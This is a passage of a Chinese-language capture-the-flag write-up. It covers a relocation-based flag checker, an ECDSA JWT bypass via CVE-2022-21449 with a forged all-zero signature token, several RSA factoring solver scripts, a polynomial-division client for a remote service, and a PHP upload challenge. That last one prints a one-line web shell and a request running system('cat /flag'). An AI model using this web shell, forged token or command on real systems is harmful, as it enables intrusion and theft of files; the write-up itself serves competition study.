for i in range(3, len(relocs)):
r = relocs[i]
if r.type == 1:
instructions.append(
R64(format_addr(r.address), to_sym(r.symbol.name), format_addr(r.addend), i))
elif r.type == 5: # CPY
instructions.append(
Copy(format_addr(r.address), to_sym(r.symbol.name), i))
elif r.type == 8: # REL
instructions.append(
Rel(format_addr(r.address), format_addr(r.addend), i))
elif r.type == 7: # R32
# instructions.append(
# R32(r.address, to_sym(r.symbol.name), r.addend, i))
instructions.append(R32(1, 1, 1, 1))
return instructions
def dump(instructions):
for op in instructions:
if type(op).__name__ == 'REL':
print(f'[{op.ridx:04d}] :: rel {op.dst}, {op.val}')
elif type(op).__name__ == 'CPY':
print(f'[{op.ridx:04d}] :: copy {op.dst}, {op.symbol}')
elif type(op).__name__ == 'R64':
print(f'[{op.ridx:04d}] :: r64 {op.dst}, {op.symbol} + {op.addend}')
elif type(op).__name__ == 'R32':
print('7')
if(op.ridx == 1266):
break
instructions = parse(b)
dump(instructions)
提取后发现主要逻辑为加载 shellcode 并执行
[0005] :: rel s2, flag[0]
[0006] :: rel s2.st_size, 1
[0007] :: copy s4, s2
[0009] :: rel r8.r_address, 0x16008040cc253480
[0010] :: rel r8.r_info, 0xc3
[0011] :: rel s3, r8.r_address
[0012] :: rel s3.st_name, 0x1000a0000001a
[0013] :: r64 r8.r_address, 3 + 0
[0014] :: rel s2, r101002.r_address
[0015] :: rel s2.st_size, 0x18
[0016] :: copy r8.r_address, s2
[0018] :: rel r17.r_address, 0x8040cc250480
[0019] :: rel r17.r_info, 0xc3
[0020] :: rel s3, r17.r_address
[0021] :: rel s3.st_name, 0x1000a0000001a
[0022] :: r64 r17.r_address, 3 + 0
[0023] :: copy r17.r_address, s2
[0024] :: rel s2, s4
[0025] :: rel s2.st_size, 1
[0026] :: copy r3.r_address, s2
[0597] :: rel s2, r3.r_address
[0598] :: rel s2.st_size, 8
[0599] :: copy s6, s2
[0601] :: rel r600.r_address, 0x70008040fc253480
[0602] :: rel r600.r_info, 0xc3
[0603] :: rel s3, r600.r_address
[0604] :: rel s3.st_name, 0x1000a0000001a
[0605] :: r64 r600.r_address, 3 + 0
[0606] :: rel s2, r101002.r_address
[0607] :: rel s2.st_size, 0x18
[0608] :: copy r600.r_address, s2
[0609] :: rel s2, s6
[0610] :: rel s2.st_size, 8
[0611] :: copy r612.r_addend, s2
[0612] :: r64 s5, 5 + 0
[0613] :: rel r612.r_addend, 0
[0614] :: rel s6, 0
上述代码对 flag 第一位执行了两处 shellcode,shellcode 为 f ^ 0x16 + 0
随后对该值 xor 0x70,最后值为 0 表示通过
前28位flag均是该逻辑的重复
xor = [0x16, 0x17, 0x10, 0x12, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x24, 0x2c, 0x26, 0x1e, 0x1f, 0x20, 0x20, 0x21, 0x23, 0x27, 0x24, 0x25, 0x26, 0x27]
add = [0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b]
xor2 = [0x70, 0x7c, 0x73, 0x78, 0x6f, 0x27, 0x2a, 0x2c, 0x7f, 0x35, 0x2d, 0x32, 0x37, 0x3b, 0x22, 0x59, 0x53, 0x8e, 0x3d, 0x2a, 0x59, 0x27, 0x2d, 0x29, 0x34, 0x2d, 0x61, 0x32]
for x1, a, x2 in zip(xor, add, xor2):
print (chr((x2 - a) ^ x), end='')
# flag{366c950370fec47e34581a0
对最后几位flag进行了如下计算
(flag[28] + flag[29]) ^ 0x6c = 0
(flag[28] * 2 + flag[29]) ^ 0xa1 = 0
(flag[30] + flag[31]) ^ 0xb1 = 0
(flag[30] * 2 + flag[31]) ^ 0xe5 = 0
计算得到flag最后四位
Crypto
MyJWT
一个基于 ECDSA 的 JWT,需要绕过签名验证得到 flag。签名头部 base64 解码,admin 字段为 false,考虑将其修改为 true 后绕过。
搜索发现漏洞 CVE-2022-21449。https://jfrog.com/blog/cve-2022-21449-psychic-signatures-analyzing-the-new-java-crypto-vulnerability/
,未验证提交签名中参数是否为 0,提交定长空字节的 base64 编码即可通过验证。
ECDSA 内置实例算法采用 SHA384,对应签名 base64 长度为 128,编码 96 个空字节即可。远程连接提交用户名拿到 Token,在有效时间内修改 admin 字段为 true 后重新编码。payload 为初始字段+修改了admin的头部+空字节编码。
eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoic2IiLCJhZG1pbiI6dHJ1ZSwiZXhwIjoxNjU5MTk1NTg0NTgwfQ==.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Factor
参照这篇论文的做法,论文中提到的三种攻击就对应了此题的三关,反序解出即可。
第一二关都是Coppersmith方法解决,用sage中的small_roots()函数。
第三关采用连分数解决。
第一二关脚本 and 第三关脚本
n3=539779851369541956878655738599584730199799866957191805784596190682932284216781781433367450841202917758999300635019369629627621029957135109806205877317954671312041249493462048283611940752235036153024920172209763260723728345918562258401803973624430150143563078517485996070862532682695228590709019451174548520135142052216785774589096706631010293690859363524584240662502290912412366366114571976050857239915691266377257797199583543940504695517331512813468837128344612227973709974625418257243011036826241599265375741977853552204640800449679679351666009764297016524814036295707311913711955324055690490892097177271718850857268982130811714517356073266905474635370690445031512184247179039751734276906533177939993769044135143389748416635981226449566039039202521305851567296884751935162651063209779647359922622084851547605090230221057349511482738300221222563908357379545905837110168948295030747460300104202323692732549831403834387939156877086852393515817984772384147449841124275061609701453997579569931391166586163299940486204581696722731952467570857217406030804590055255431828403195798003509083922294733709507134156466158642941338493323430671502043066148246348074878064089651235355282144209668143249348243220714471988019011613749340243917652821
R.<x> = PolynomialRing(Zmod(n3),implementation='NTL')
e3=8179300978753084587812861894047395225516049110376948812109811319430275614612773726672345893359691900281432484382670047044697374818043512731533402576374645405477207239801498428774783768163880078495448747421425078521981578408638790336528372019271073712013371141939808017049399434858687299480461753638164719404612128939787055797762174745092074547412183349192156638711750872083313795551439465507724807626674514935170104573715458782366469587138508845980490673890245713729782917089910271980557159592807350504157192913530007199510144004848020221181558472160543018733124225266127379373751910439604459368078652499029070936707349862139053913745186413782066470461478961703013591655136140060879250067379283913798867648758171004535775565306842444545755351202796833177560656564652632975685912935281581268141803696686952259539945588609591385807620108279333498170028167338690235117003515264281843953984997958878272347778561933726792473981855755454522886321669676790813189668084373153897754540290867346751033567500922477317530445967753955221454744946208555394588111484610700789566547507402309549957740815535069057837915204852490930168843605732632328017129154852857227895362549146737618906180651623216848500491438142456250653458053922622240299736136335179639180898730269690699965799644757774472147210271111150769048976871249731156387939260749192370361488285775377622944817570292095201906142567403539151179209316853493906909989301225903409448461436855145
z=17623328397444755087284107444487160871617682792372566887446834913712379373851213638071138745775127796589871734472781755930251379295485892067473329763997583502625804363418069062645997342172778252731889437
f=e3*x-z
f=f.monic()
print(f.small_roots(beta=0.7))
import gmpy2
from libnum import n2s
from math import gcd
def tCf(n, d):
res = []
while d:
res.append(n // d)
n, d = d, n % d
return res
def cf(sub_res):
n, d = 1, 0
for i in sub_res[::-1]:
d, n = n, i * n + d
return d, n
def listFraction(x, y):
res = tCf(x, y)
res = list(map(cf, (res[0:i] for i in range(1, len(res)))))
return res
n11=801049932940568005269978912396585741498810389425615966036828877784238116634177290247194019425111606811005728521368879065336038221361037062407029836155148874719789714345603547779284558101833801155509762818376470874215789574939002212274399950433269775325144015468620263028557804618774240232988157961712628677901130814703917513004114547234375629747176834581166306552311075522669403347828095831520693563291249869832390698646691647204371133362254846234990175138047928703289833460734235302093916147489509206061923877623300596194317059884824322527532662470348274079800781120104946546063500763852622187404608639542858285661288293918912184354236687975919510300221932074135531028314170475917110204254042336116619335841213418990605590620842511615815443114612333881430920769002933370887494558640833005339906706603497809846863863967391543647049224309556936909768179259581851520214669904560467640473144481633920438487615788689262961741053146610554997224861331949716721056553499531186695425439163222802917813140266513735841447717418846360096652592844940362932171019143434080184728093326143821165097895058935372215708948088248596585127475770021962501262915274497478428868130455122612016408381607561200802267038869516896665387576895570245272035575637
n12=635401970340205725139325006504978344512744926958688031423448003992072769931808217486709574151492230879374574313457662436423263437792389711379687512056391117410807565492548718691166183372633151644917135272259770997096195518489056319350258673723095417922153182423913759272893696867426193704479752772511081457729513843682588951499551132432923147997238597538055902932123792252593514225328196541483451747314048080824405530742533473914329294346486691684904100406972073037050089861816604505650042953778360621934380815999541183067585498606053857125775979915077329566722531830089714823979965934190338538564188253271016367299890015449611141166780048763403252309160517164569110740561584100839212138661881615351382946813818078899882595313362934594951895560189003438775450675343590147821186953526262224973333962454561275321925151619178204499342339749637758100126893330994252902926509705617882239610380420830791088907378397226817514095468815228186716220057075095711894070032344613244803934541318573847029365563159918970404057137270884587905766828750387753130065274147902379993224780149663600462492281891320702134153853359393588902750423972068679293373333869389393970353760507436913233657422185531482023237384247535554666481760197851108297145147371
e11=1898839980562048754607069073527844852132536432440793106124181406514770178066775988232362054809850074774981836898118651469424148725970708199461113088705044905633592578936333918328544505910996746428679299419879472444790941363558025887620570856598548320246426354974395765243741646121743413447132297230365355148066914830856904433750379114692122900723772114991199979638987571559860550883470977246459523068862898859694461427148626628283198896659337135438506574799585378178678790308410266713256003479022699264568844505977513537013529212961573269494683740987283682608189406719573301573662696753903050991812884192192569737274321828986847640839813424701894578472933385727757445011291134961124822612239865
e12=1262647419018930022617189608995712260095623047273893811529510754596636390255564988827821761126917976430978175522450277907063247981106405519094560616378241247111698915199999363948015703788616554657275147338766805289909261129165025156078136718573006479030827585347458143645738353716189131209398056741864848486818076440355778886993462012533397208330925057305502653219173629466948635110352752162442552541812665607516753186595817376029707777599029040724727499952161261179707271814405907165207904499722122779096230563548011491932378429654764486855147873135769116637484240454596231092684424572258119768093562747249251518965380465994055049411715353547147466711949391814550591591830515262296556050946881
res = listFraction(n11, n12)
for i in res:
if n12 % i[0] == 0 and n11 % i[1] == 0 and i != (1,1):
q1 = i[1]
q2 = i[0]
p1 = int(gmpy2.iroot(n11 // q1, 2)[0])
p2 = int(gmpy2.iroot(n12 // q2, 2)[0])
print(p1,p2)
c11=18979511327426975645936984732782737165217332092805655747550406443960209507493506811471688957217003792679188427155591583024966608843371190136274378868083075515877811693937328204553788450031542610082653080302874606750443090466407543829279067099563572849101374714795279414177737277837595409805721290786607138569322435729584574023597293220443351227559400618351504654781318871214405850541820427562291662456382362148698864044961814456827646881685994720468255382299912036854657082505810206237294593538092338544641919051145900715456411365065867357857347860000894624247098719102875782712030938806816332901861114078070638796157513248160442185781635520426230183818695937457557248160135402734489627723104008584934936245208116232179751448263136309595931691285743580695792601141363221346329077184688857290503770641398917586422369221744736905117499140140651493031622040723274355292502182795605723573863581253354922291984335841915632076694172921289489383700174864888664946302588049384130628381766560976143458735712162489811693014419190718601945154153130272620025118408017441490090252674737105557818759190934585829634273698371996797545908125156282869589331913665938038870431655063063535672001112420959158339261862052308986374193671007982914711432579
c12=336587005671304527566745948355290412636261748969581976214239578621816863343117433524033533838636941679300497270909696775021031004312477997130741361709262822736904340641138652359632950455651920464042448022467664596484055174270895170499076347333381222768518599018520948098943626229061996126260154604038101543546588917619576702866444998578555907070990331574722135141778182631559802154493815687284077524469331290249057291163803290619701104007028836609832847351748020354798788508790258935718399783002069490123663345156902440501507117289747695510266461539019431610123351176227443612317037899257774045751487135646052309277098939919088029284437221840182769808850184827681307611389353392683707516141736067793897378911235819049432542758429901945202632117089595899280390575706266239252841152490534353760118231918190110043319877744119083811214707593122757409240645257409097436061825613686773916466122693168971062418046703969144004779270391320645495586024342668002497155358623795942692477164489475917351003149045087283510728981096449890130735055015075557614253867698702479920619299919816768972581273507837309179450374634916567083251630203067065663910073926990517108921490442919372774170201239734064819301693527366233007925670043499415100789027665
phi11 = (p1) * (p1-1) * (q1-1)
phi12 = (p2) * (p2-1) * (q2-1)
d11 = gmpy2.invert(e11,phi11)
d12 = gmpy2.invert(e12,phi12)
m1 = pow(c11,d11,n11)
m2 = pow(c12,d12,n12)
print(m1)
print(m2)
n2 = 209798341155088334158217087474227805455138848036904381404809759100627849272231840321985747935471287990313456209656625928356468120896887536235496490078123448217785939608443507649096688546074968476040552137270080120417769906047001451239544719039212180059396791491281787790213953488743488306241516010351179070869410418232801398578982244984544906579574766534671056023774009163991804748763929626213884208260660722705479782932001102089367261720194650874553305179520889083170973755913964440175393646890791491057655226024046525748177999422035469428780228224800114202385209306803288475439775037067014297973202621118959024226798935588827359265962780792266516120013602384766460619793738405476219362508944225007365127768741191310079985425349292613888185378948854602285379329682053663283534930182589905986063348509703027498270111412063194971956202729807710253369312175636837558252924035002153389909587349043986253518050303628071319876207392440085675892353421232158925122721273720564784886530611286461575045181073744696415657043278123662980166364494583141297996445429477446442693717498789391918530672770193730629928408766563592081857706608049076318165712479742423149330311238462044666384622153280310696667586565906758451118241914402257039981388209
x = 3549384841973213309621072870106254602253656209014197632823411827739864720839737811030401306800875843661955913236834617545674409639259372934721570288281471569069146201536309734296340629562207991295283896
g = gcd(m1*m2*x-(m2-m1),n2)
p2 = int(gmpy2.iroot(g,6)[0])
q2 = n2 // (p2 ** 7)
e2 = 0x10001
phi2 = (p2 ** 6) * (p2 - 1) * (q2 - 1)
d2 = gmpy2.invert(e2,phi2)
c2 = 18352572608055902550350386950073774530453857897248738030380007830701135570310622004368605208336922266513238134127496822199799761713782366178177809597137102612444147565578155260524747439899150012223027218489946124086276814899675563837669559795153349686434242738207425653079514376089070980797596457151965772460109519623572502109592612394316680202287712465721767341302234806130244551387296133051760893033194962691942040228545508895009195291106297581470066545991352668826197346830561010198417527057944507902143965634058848276017283478933675052993657822322866778994956205033704582047618324071045349072526540250707463112668579342537349567247810715604220690215313641329522674080146047291570752430231923566302463491877377617044768978997438596643458475128936850994934029476030136643053997549253792076260765459166618369864942681056864815996253315631930002738854235841120321870075261782250357506436825550088826469396508045912258303652912217151127280959435741419961721418428605515096160344688795655562889755165362006775317188009008288782691705879510655892181975003485714604340542378477388225736316682379616676770234557939471098919647053799313777248678455620231721202780830980063824003076308811540534492317719811588898727134190545533822501681653
b = pow(c2,d2,n2)
print(b)
n3=539779851369541956878655738599584730199799866957191805784596190682932284216781781433367450841202917758999300635019369629627621029957135109806205877317954671312041249493462048283611940752235036153024920172209763260723728345918562258401803973624430150143563078517485996070862532682695228590709019451174548520135142052216785774589096706631010293690859363524584240662502290912412366366114571976050857239915691266377257797199583543940504695517331512813468837128344612227973709974625418257243011036826241599265375741977853552204640800449679679351666009764297016524814036295707311913711955324055690490892097177271718850857268982130811714517356073266905474635370690445031512184247179039751734276906533177939993769044135143389748416635981226449566039039202521305851567296884751935162651063209779647359922622084851547605090230221057349511482738300221222563908357379545905837110168948295030747460300104202323692732549831403834387939156877086852393515817984772384147449841124275061609701453997579569931391166586163299940486204581696722731952467570857217406030804590055255431828403195798003509083922294733709507134156466158642941338493323430671502043066148246348074878064089651235355282144209668143249348243220714471988019011613749340243917652821
e3=8179300978753084587812861894047395225516049110376948812109811319430275614612773726672345893359691900281432484382670047044697374818043512731533402576374645405477207239801498428774783768163880078495448747421425078521981578408638790336528372019271073712013371141939808017049399434858687299480461753638164719404612128939787055797762174745092074547412183349192156638711750872083313795551439465507724807626674514935170104573715458782366469587138508845980490673890245713729782917089910271980557159592807350504157192913530007199510144004848020221181558472160543018733124225266127379373751910439604459368078652499029070936707349862139053913745186413782066470461478961703013591655136140060879250067379283913798867648758171004535775565306842444545755351202796833177560656564652632975685912935281581268141803696686952259539945588609591385807620108279333498170028167338690235117003515264281843953984997958878272347778561933726792473981855755454522886321669676790813189668084373153897754540290867346751033567500922477317530445967753955221454744946208555394588111484610700789566547507402309549957740815535069057837915204852490930168843605732632328017129154852857227895362549146737618906180651623216848500491438142456250653458053922622240299736136335179639180898730269690699965799644757774472147210271111150769048976871249731156387939260749192370361488285775377622944817570292095201906142567403539151179209316853493906909989301225903409448461436855145
x3 = 16731588253866128571163910758846497670928988943944436618514118121761227689113110943465936457030051710610254169629932203082368465978112219532158626669990117160986135699541953274434781877420432743573801621
g3 = gcd(e3*x3-b,n3)
p3 = int(gmpy2.iroot(g3,6)[0])
q3 = n3 // (p3 ** 7)
phi3 = (p3 ** 6) * (p3 - 1) * (q3 - 1)
c3 = 113097822337683973761068913398570777162211043704088253732500045618770280334319497174908657828372816818344430304314992760410247741225285170975119344962728883084314382093407445567724674775086423808679124143380073906159023182353116556175251427048715466914368972746661938211846262612414049036821553068430149530397389927209475908905748728402722287875974303298260579839357610962198145974153609818939841880084892796820949226354126424023144300953584658958900737493704530725894948802258740332090822797815745616247879170037794873059391625680745994045522420168248552864215035136318711240256011217929372430302003068882829637056296413462078222453765071094277727760527662423010417144554652783429899139309180017349156600053882338180319473460877576898373222480215735280046214925463242092830060830764299787309912687294672319845054775281463150375545716818434962456139485501224661520991156961587158843064393883274763714930309353593180897123378717852182761518709151878662808890356934477932099818218743384674756674800089177733447066489275506387382342429495897972218764782517198727316942685748481956118012927027254979181519862451112593068440686462293151078537886822555211870303467014484443432209106264020502334805536091587252238173816637270028678636848763
d3 = gmpy2.invert(e3,phi3)
m3 = pow(c3,d3,n3)
print(n2s(int(m3)))
强网先锋
Polydiv
远程交互打 40 关,每次给三个多项式 a(x), r(x), c(x)
,需要求一个 b(x)
满足模2多项式环上 a(x)b(x)+c(x)==r(x)
。给出的多项式都满足可以整除,做一个模2环上的多项式除法就行。
最后需要调整格式,高位在左低位在右。
from hashlib import sha256
from pwn import *
from re import findall
from math import log,floor
def GF2_sub(n1, n2):
return n1 ^ n2
def GF2_div(n1, n2):
if n2 == 1:
return n1
else:
len1 = len(bin(n1))
len2 = len(bin(n2))
lensub = len1 - len2 + 1
if lensub < 1:
return hex(0)
elif lensub == 1:
return hex(1)
elif lensub > 1:
div = 0
while len1 >= len2:
n1 ^= (n2 << (len1 - len2))
div ^= (1 << (len1-len2))
len1 = len(bin(n1))
return div
p = remote('182.92.161.17', 31466)
s = p.recv()
kk = str(s)[14:30]
tt = str(s)[35:-3]
print(kk)
print(tt)
alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
for i in alphabet:
for j in alphabet:
for k in alphabet:
for l in alphabet:
if sha256((i+j+k+l+kk).encode()).hexdigest() == tt:
p.sendline((i+j+k+l).encode())
for i in range(40):
s = p.recv()
poly = str(s).split("\\n")
rr = []
aa = []
cc = []
print(poly)
print(len(poly))
ps = poly[0] + ' '
for i in range(len(ps)-1):
if ps[i] == 'x' and ps[i+1] == ' ':
rr.append(1)
break
ps = poly[1] + ' '
for i in range(len(ps)-1):
if ps[i] == 'x' and ps[i+1] == ' ':
aa.append(1)
break
ps = poly[2] + ' '
for i in range(len(ps)-1):
if ps[i] == 'x' and ps[i+1] == ' ':
cc.append(1)
break
r = findall(r"\d+",poly[0])
a = findall(r"\d+",poly[1])
c = findall(r"\d+",poly[2])
r = [int(i) for i in r]
a = [int(i) for i in a]
c = [int(i) for i in c]
if 1 in r:
rr.append(0)
if 1 in a:
aa.append(0)
if 1 in c:
cc.append(0)
for i in r:
if i != 1:
rr.append(i)
for i in a:
if i != 1:
aa.append(i)
for i in c:
if i != 1:
cc.append(i)
print(rr,aa,cc)
rp = 0
ap = 0
cp = 0
for i in rr:
rp += 2 ** i
for i in aa:
ap += 2 ** i
for i in cc:
cp += 2 ** i
print(rp,ap,cp)
bp = GF2_div(GF2_sub(rp,cp),ap)
print(bp)
sends = ""
strb = bin(bp)[2:]
for i in range(len(strb)):
if strb[i] == '1':
if i == len(strb)-1:
sends += "1"
elif i == len(strb)-2:
sends += "x"
else:
sends += "x^{}".format(len(strb)-i-1)
sends += " + "
sends = sends[:-3]
print(sends)
p.sendline(sends.encode())
print(p.recv())
p.sendline(sends.encode())
print(p.recv())
ASR
yafu 一直缺少组件,factordb 赏饭吃,给出一个分解,调整 yafu 参数后,分出剩余三个质数。
设 p**2=N
用 AMM 得出模 p 的解,发现 m 过长,再代入 m=mp+k*p
解出模N的解,得到答案。
import random
import time
def AMM(o, r, q):
start = time.time()
print('\n----------------------------------------------------------------------------------')
print('Start to run Adleman-Manders-Miller Root Extraction Method')
print('Try to find one {:#x}th root of {} modulo {}'.format(r, o, q))
g = GF(q)
o = g(o)
p = g(random.randint(1, q))
while p ^ ((q-1) // r) == 1:
p = g(random.randint(1, q))
print('[+] Find p:{}'.format(p))
t = 0
s = q - 1
while s % r == 0:
t += 1
s = s // r
print('[+] Find s:{}, t:{}'.format(s, t))
k = 1
while (k * s + 1) % r != 0:
k += 1
alp = (k * s + 1) // r
print('[+] Find alp:{}'.format(alp))
a = p ^ (r**(t-1) * s)
b = o ^ (r*alp - 1)
c = p ^ s
h = 1
for i in range(1, t):
d = b ^ (r^(t-1-i))
if d == 1:
j = 0
else:
print('[+] Calculating DLP...')
j = - discrete_log(a, d)
print('[+] Finish DLP...')
b = b * (c^r)^j
h = h * c^j
c = c ^ r
result = o^alp * h
end = time.time()
print("Finished in {} seconds.".format(end - start))
print('Find one solution: {}'.format(result))
return result
def findAllPRoot(p, e):
print("Start to find all the Primitive {:#x}th root of 1 modulo {}.".format(e, p))
start = time.time()
proot = set()
while len(proot) < e:
proot.add(pow(random.randint(2, p-1), (p-1)//e, p))
end = time.time()
print("Finished in {} seconds.".format(end - start))
return proot
def findAllSolutions(mp, proot, cp, p):
print("Start to find all the {:#x}th root of {} modulo {}.".format(e, cp, p))
start = time.time()
all_mp = set()
for root in proot:
mp2 = mp * root % p
assert(pow(mp2, e, p) == cp)
all_mp.add(mp2)
end = time.time()
print("Finished in {} seconds.".format(end - start))
return all_mp
e=3
p0 = 260594583349478633632570848336184053653
p1 = 223213222467584072959434495118689164399
p2 = 225933944608558304529179430753170813347
p3 = 218566259296037866647273372633238739089
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
c0=c%p0
c1=c%p1
c2=c%p2
c3=c%p3
pl = []
ql = []
m2 = int(AMM(c2, e, p2))
m3 = int(AMM(c3, e, p3))
proot2=findAllPRoot(p2,e)
proot3=findAllPRoot(p3,e)
pl = findAllSolutions(m2, proot2, c2, p2)
ql = findAllSolutions(m3, proot3, c3, p3)
print(pl)
print(ql)
pl=list(pl)
ql=list(ql)
d0=173729722232985755755047232224122702435
d1=148808814978389381972956330079126109599
m0=int(pow(c0,d0,p0))
m1=int(pow(c1,d1,p1))
for i in range(e):
for j in range(e):
m = crt([int(pl[i]), int(ql[j]),m0,m1], [p2, p3,p0,p1])
print(m)
from libnum import n2s
import gmpy2
p0 = 260594583349478633632570848336184053653
p1 = 223213222467584072959434495118689164399
p2 = 225933944608558304529179430753170813347
p3 = 218566259296037866647273372633238739089
n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
print((p0 * p1 * p2 * p3) ** 2 == n)
phi = p0 * (p0 - 1) * (p1 - 1) * p1 * (p2 - 1) * p2 * p3 * (p3 - 1)
pr = (p0 * p1 * p2 * p3)
print((p3 - 1) % 27)
fl = [
1529007847379796407634756887525822026696243818376722108701969132742428428165312563623502055174162111318912346740690335148179223775392999980945766987459837,
1475292321022733362914538619161388693005464952363739416469049560011153697847764341022230542196966303658527328460810763143999529259177792246387209275640333,
1306173663174680354544083835098873046665147955161485267105809626183470299213147062484361435517127425037465762176491160436617371316470553010760895171531168,
153759683776433243399305434624208622981670871584305881184763149503345166185487917443890373624829793380160217617791063750644305153019838041206592966473567,
100044157419370198679087166259775289290892005571323188951843576772070435867939694842618860647633985719775199337911491746464610636804630306648035254654063,
2803358489265171472227210840490862843537881207776943757296126230937523911331160681955579712312498104881693839057868862438866912819678753688485739816184899,
222834185454100348265422735477774595442565074276484202923325623851990342933869396693076942784741899922511481742674099962888282201740191862829636553138531,
169118659097037303545204467113341261751786208263501510690406051120715612616321174091805429807546092262126463462794527958708587685524984128271078841319027,
1248984295174749683050825615411469211061247361327166117293032213981703895553936323127707213641064897178474925251326429742817744892644764737209862]
for i in fl:
le = (c - i ** 3) % n
le = le * gmpy2.invert(3 * (i ** 2), n)
x = le // pr
i = i + x * pr
print(pow(i, e, n) == c)
print(n2s(int(i)))
rcefile
存在 spl_autoload 函数,上传文件 test.inc
:
<?php
eval($_GET['cmd']);
记下返回的文件名 d6e2555175cf7f64910cbfce15842643.inc
后自动包含
GET /showfile.php?cmd=system('cat+/flag')%3b HTTP/1.1
Host: eci-2ze9ta9edjrrkrtfpism.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://eci-2ze9ta9edjrrkrtfpism.cloudeci1.ichunqiu.com/
Cookie: O%3a32%3a"D6e2555175cf7f64910cbfce15842643"%3a0%3a{}
Upgrade-Insecure-Requests: 1